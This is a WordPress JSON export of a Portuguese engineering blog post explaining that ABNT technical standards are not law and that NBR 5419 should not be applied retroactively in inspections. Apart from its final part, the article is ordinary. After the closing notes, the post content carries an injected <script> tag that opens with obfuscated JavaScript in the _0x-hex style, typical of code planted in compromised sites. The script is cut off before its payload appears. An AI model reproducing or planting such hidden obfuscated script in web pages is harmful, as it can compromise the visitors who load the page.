{"id":99,"date":"2018-12-04T16:33:54","date_gmt":"2018-12-04T18:33:54","guid":{"rendered":"http:\/\/www.barreto.eng.br\/blog\/?p=99"},"modified":"2018-12-10T13:49:39","modified_gmt":"2018-12-10T15:49:39","slug":"aplicabilidade-e-vigencia-de-normas","status":"publish","type":"post","link":"https:\/\/www.barreto.eng.br\/blog\/index.php\/2018\/12\/04\/aplicabilidade-e-vigencia-de-normas\/","title":{"rendered":"Aplicabilidade e vig\u00eancia de normas"},"content":{"rendered":"<p><span style=\"color: #993300\"><em>(agosto\/2017)<\/em><\/span><\/p>\n<div align=\"justify\">Este artigo apresenta esclarecimentos sobre a entrada em vigor das normas t\u00e9cnicas da ABNT \u2013 Associa\u00e7\u00e3o Brasileira de Normas T\u00e9cnicas e seu per\u00edodo de aplicabilidade. \u00a0Confus\u00f5es sobre essas quest\u00f5es tem feito o tema assumir esferas de ordem legal, ultrapassando os limites da engenharia.<\/p>\n<p><!--more--><\/p>\n<p>Inicialmente \u00e9 necess\u00e1rio entender a obrigatoriedade do atendimento aos requisitos de uma norma ABNT e a diferen\u00e7a entre norma t\u00e9cnica e regulamento t\u00e9cnico. Cabe destacar que a ABNT \u00e9 uma entidade civil sem fins lucrativos, cujo quadro social \u00e9 composto por pessoas f\u00edsicas e jur\u00eddicas. Trata-se, portanto, de uma entidade de direito privado, e n\u00e3o de poder p\u00fablico. Assim, n\u00e3o possui autoridade para estabelecer obrigatoriedade de cumprimento de normas t\u00e9cnicas, que nascem de uso volunt\u00e1rio. J\u00e1 um regulamento t\u00e9cnico \u00e9 publicado por uma autoridade (poder p\u00fablico) e \u00e9, por natureza, de uso compuls\u00f3rio.<\/p>\n<p>Norma t\u00e9cnica \u00e9 um documento estabelecido por consenso e aprovado por um organismo reconhecido (no caso a ABNT), que fornece regras, diretrizes ou caracter\u00edsticas m\u00ednimas para atividades ou para seus resultados, visando \u00e0 obten\u00e7\u00e3o de um grau \u00f3timo de ordena\u00e7\u00e3o em um dado contexto. \u00c9, portanto, uma contribui\u00e7\u00e3o de grupos volunt\u00e1rios (que formam as Comiss\u00f5es de Estudos da ABNT) para a sociedade.<\/p>\n<p>De acordo com o Art. 5\u00ba, inciso II da Constitui\u00e7\u00e3o Federal: \u201cningu\u00e9m ser\u00e1 obrigado a fazer ou deixar de fazer alguma coisa sen\u00e3o em virtude de lei\u201d. Portanto, o que torna uma norma t\u00e9cnica de uso obrigat\u00f3rio \u00e9 a lei, e n\u00e3o a ABNT. E existem documentos emitidos pelo poder p\u00fablico que estabelecem tal obrigatoriedade, como por exemplo:<\/p>\n<ul>\n<li style=\"list-style-type: none\">\n<ul>\n<li>Art. 39, VIII do C\u00f3digo de Defesa do Consumidor:<em> \u201c<\/em>\u00c9 vedado ao fornecedor de produtos ou servi\u00e7os, colocar, no mercado de consumo, qualquer produto ou servi\u00e7o em desacordo com as normas expedidas pelos \u00f3rg\u00e3os oficiais competentes ou, se normas espec\u00edficas n\u00e3o existirem, pela Associa\u00e7\u00e3o Brasileira de Normas T\u00e9cnicas ou outra entidade credenciada pelo Conselho Nacional de Metrologia, Normaliza\u00e7\u00e3o e Qualidade Industrial &#8211; Conmetro.\u201d<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<ul>\n<li style=\"list-style-type: none\">\n<ul>\n<li>O item 10.1.2 da Norma Regulamentadora n\u00ba 10 do MTE: \u201cEsta NR se aplica \u00e0s fases de gera\u00e7\u00e3o, transmiss\u00e3o, distribui\u00e7\u00e3o e consumo, incluindo as etapas de projeto, constru\u00e7\u00e3o, montagem, opera\u00e7\u00e3o, manuten\u00e7\u00e3o das instala\u00e7\u00f5es el\u00e9tricas e quaisquer trabalhos realizados nas suas proximidades, observando-se as normas t\u00e9cnicas oficiais estabelecidas pelos \u00f3rg\u00e3os competentes e, na aus\u00eancia ou omiss\u00e3o destas, as normas internacionais cab\u00edveis.<strong><strong>\u201d<\/strong><\/strong><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<ul>\n<li style=\"list-style-type: none\">\n<ul>\n<li>O Art. 27, inciso I, al\u00ednea a) da Resolu\u00e7\u00e3o Aneel n\u00ba 414\/2010: \u201cEfetivada a solicita\u00e7\u00e3o de fornecimento, a distribuidora deve cientificar o interessado quanto \u00e0 obrigatoriedade de observ\u00e2ncia, na unidade consumidora, das normas e padr\u00f5es disponibilizados pela distribuidora, assim como daquelas expedidas pelos \u00f3rg\u00e3os oficiais competentes, naquilo que couber e n\u00e3o dispuser contrariamente \u00e0 regulamenta\u00e7\u00e3o da ANEEL.\u201d<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p>Al\u00e9m disso, o fato de a ABNT ter sido declarada \u201c\u00fanico f\u00f3rum nacional de normaliza\u00e7\u00e3o\u201d pela Resolu\u00e7\u00e3o n\u00ba 7 de 1992 do Conmetro, significa que, quando algum documento legal estabelecer que devem ser cumpridas, observadas, atendidas ou seguidas as \u201cnormas t\u00e9cnicas estabelecidas pelos \u00f3rg\u00e3os oficiais competentes\u201d, essas normas ser\u00e3o as da ABNT.<\/p>\n<p>Vale destacar ainda que, pelo fato de uma norma n\u00e3o ter sido discutida, aprovada e promulgada pelo Poder Legislativo, n\u00e3o se deve dizer que \u201cnorma \u00e9 lei\u201d \u2013 express\u00e3o muito comum no meio t\u00e9cnico. Norma t\u00e9cnica \u00e9 norma t\u00e9cnica.<\/p>\n<p>Quanto \u00e0 data colocada na primeira p\u00e1gina de uma norma ABNT, o objetivo \u00e9 indicar o prazo cujo in\u00edcio de aplica\u00e7\u00e3o do documento \u00e9 recomendado (em geral, 30 dias). A maior parte dos usu\u00e1rios de normas t\u00e9cnicas considera esse prazo ex\u00edguo demais para leitura, interpreta\u00e7\u00e3o, absor\u00e7\u00e3o, aplica\u00e7\u00e3o e, eventualmente, mudan\u00e7as de procedimentos nas empresas. Para a comunidade t\u00e9cnica, esse prazo deveria ser de, no m\u00ednimo, 180 dias. Esse pleito j\u00e1 foi feito \u00e0 ABNT por meio de respeitadas entidades de classe da engenharia quando da publica\u00e7\u00e3o da NBR 5419, mas a resposta da ABNT foi negativa. Isso denota certo distanciamento da dire\u00e7\u00e3o da entidade para com a realidade dos usu\u00e1rios. Falta uma gest\u00e3o mais producente da ABNT para tratar desse importante item, que pode gerar demandas judiciais desnecess\u00e1rias, com preju\u00edzos para empresas e profissionais, pela impossibilidade de se atender determinada norma de forma t\u00e3o imediata.<\/p>\n<p>Mas, a quest\u00e3o central n\u00e3o \u00e9 essa, e sim se ela pode ser aplicada de forma retroativa. Poder pode, mas, deve ser feito com crit\u00e9rio; n\u00e3o de forma impositiva, e sim por voluntariedade, e de comum acordo entre as partes. Por exemplo: muitos profissionais est\u00e3o aplicando a \u00faltima edi\u00e7\u00e3o da norma NBR 5419, de 2015, em inspe\u00e7\u00f5es de instala\u00e7\u00f5es de prote\u00e7\u00e3o contra descargas atmosf\u00e9ricas executadas antes desta data, e seja por desconhecimento ou por m\u00e1-f\u00e9, t\u00eam impingido despesas desnecess\u00e1rias aos usu\u00e1rios.<strong> N\u00e3o h\u00e1 respaldo legal para a aplica\u00e7\u00e3o obrigat\u00f3ria de qualquer norma ABNT de forma retroativa<\/strong>. Conforme estabelece o citado Art. 5\u00ba, inciso II da Constitui\u00e7\u00e3o Federal, tem de existir lei que obrigue tal procedimento. Como n\u00e3o h\u00e1 \u2013 e em muitos casos, n\u00e3o deve haver \u2013 a aplica\u00e7\u00e3o retroativa \u00e9 totalmente volunt\u00e1ria.<\/p>\n<p>No caso da NBR 5419, parece que a confus\u00e3o se deve ao fato de n\u00e3o constar uma frase an\u00e1loga \u00e0 que consta da NBR 5410, na se\u00e7\u00e3o que trata do objetivo da norma, a saber: <strong>\u201cEsta Norma aplica-se \u00e0s instala\u00e7\u00f5es novas e a reformas em instala\u00e7\u00f5es existentes\u201d<\/strong>. De qualquer forma, isso deveria ser subentendido e considerado pelos profissionais nas inspe\u00e7\u00f5es. Para evitar problemas seria prudente que a Comiss\u00e3o de Estudos correspondente inserisse essa frase na NBR 5419 por meio de uma errata ou emenda.<\/p>\n<p>Mais problem\u00e1tico ainda \u00e9 quando profissionais que atuam em inspe\u00e7\u00f5es e em per\u00edcias, utilizam em seus trabalhos a edi\u00e7\u00e3o mais recente de uma norma para verificar produtos ou servi\u00e7os que foram fornecidos antes da data de entrada em vigor do documento. Como responsabilizar algu\u00e9m por n\u00e3o ter utilizado um requisito que s\u00f3 foi estabelecido posteriormente? Ou seja, para avalia\u00e7\u00e3o, inspe\u00e7\u00e3o, per\u00edcia e emiss\u00e3o de parecer <strong>deve ser utilizada a edi\u00e7\u00e3o da norma que estava em vigor \u00e0 \u00e9poca em que foi entregue o produto ou prestado o servi\u00e7o<\/strong>. H\u00e1 ainda ocasi\u00f5es em que poder\u00e1 ser necess\u00e1rio utilizar mais de uma edi\u00e7\u00e3o da mesma norma durante esses trabalhos, como \u00e9 o caso de eventual reforma em uma instala\u00e7\u00e3o el\u00e9trica ocorrida nesse \u00ednterim.<\/p>\n<p>Cabe ressaltar que, mesmo n\u00e3o sendo compuls\u00f3ria a adequa\u00e7\u00e3o de uma instala\u00e7\u00e3o \u00e0s normas mais atuais, o propriet\u00e1rio ou usu\u00e1rio de instala\u00e7\u00f5es antigas deve providenciar inspe\u00e7\u00f5es peri\u00f3dicas, principalmente se for respons\u00e1vel por edifica\u00e7\u00e3o de uso p\u00fablico. Neste caso, se identificado algum fator de risco que poderia ser eliminado ou mitigado com o uso de normas mais recentes, por precau\u00e7\u00e3o, dever\u00e3o ser adotadas as medidas cab\u00edveis para que, em caso de acidente (provado o nexo causal e a relev\u00e2ncia da inadequa\u00e7\u00e3o), ele n\u00e3o seja responsabilizado por neglig\u00eancia. Trata-se aqui do risco de responsabiliza\u00e7\u00e3o por neglig\u00eancia, e n\u00e3o pelo fato da instala\u00e7\u00e3o existente n\u00e3o estar conforme a norma mais atual.<\/p>\n<p>Por fim, vale lembrar que Leis ou Regulamentos P\u00fablicos supervenientes podem impor essa adequa\u00e7\u00e3o. Um exemplo \u00e9 a exig\u00eancia de instala\u00e7\u00e3o de cintos de seguran\u00e7a em ve\u00edculos antigos que n\u00e3o o possu\u00edam. <\/p><\/div>\n<p><span style=\"font-size:14px\"><em>NOTAS:<br \/>\n<\/em><em>1. \u00a0Este artigo foi escrito em parceria com o Advogado Carlos Frederico Hackerott, consultor jur\u00eddico de empresas e entidades do setor da engenharia.<br \/>\n<\/em><em>2. Artigo publicado na revista Eletricidade Moderna de ago\/2017. A vers\u00e3o ora apresentada possui pequenas modifica\u00e7\u00f5es.<\/span><\/em><br \/>\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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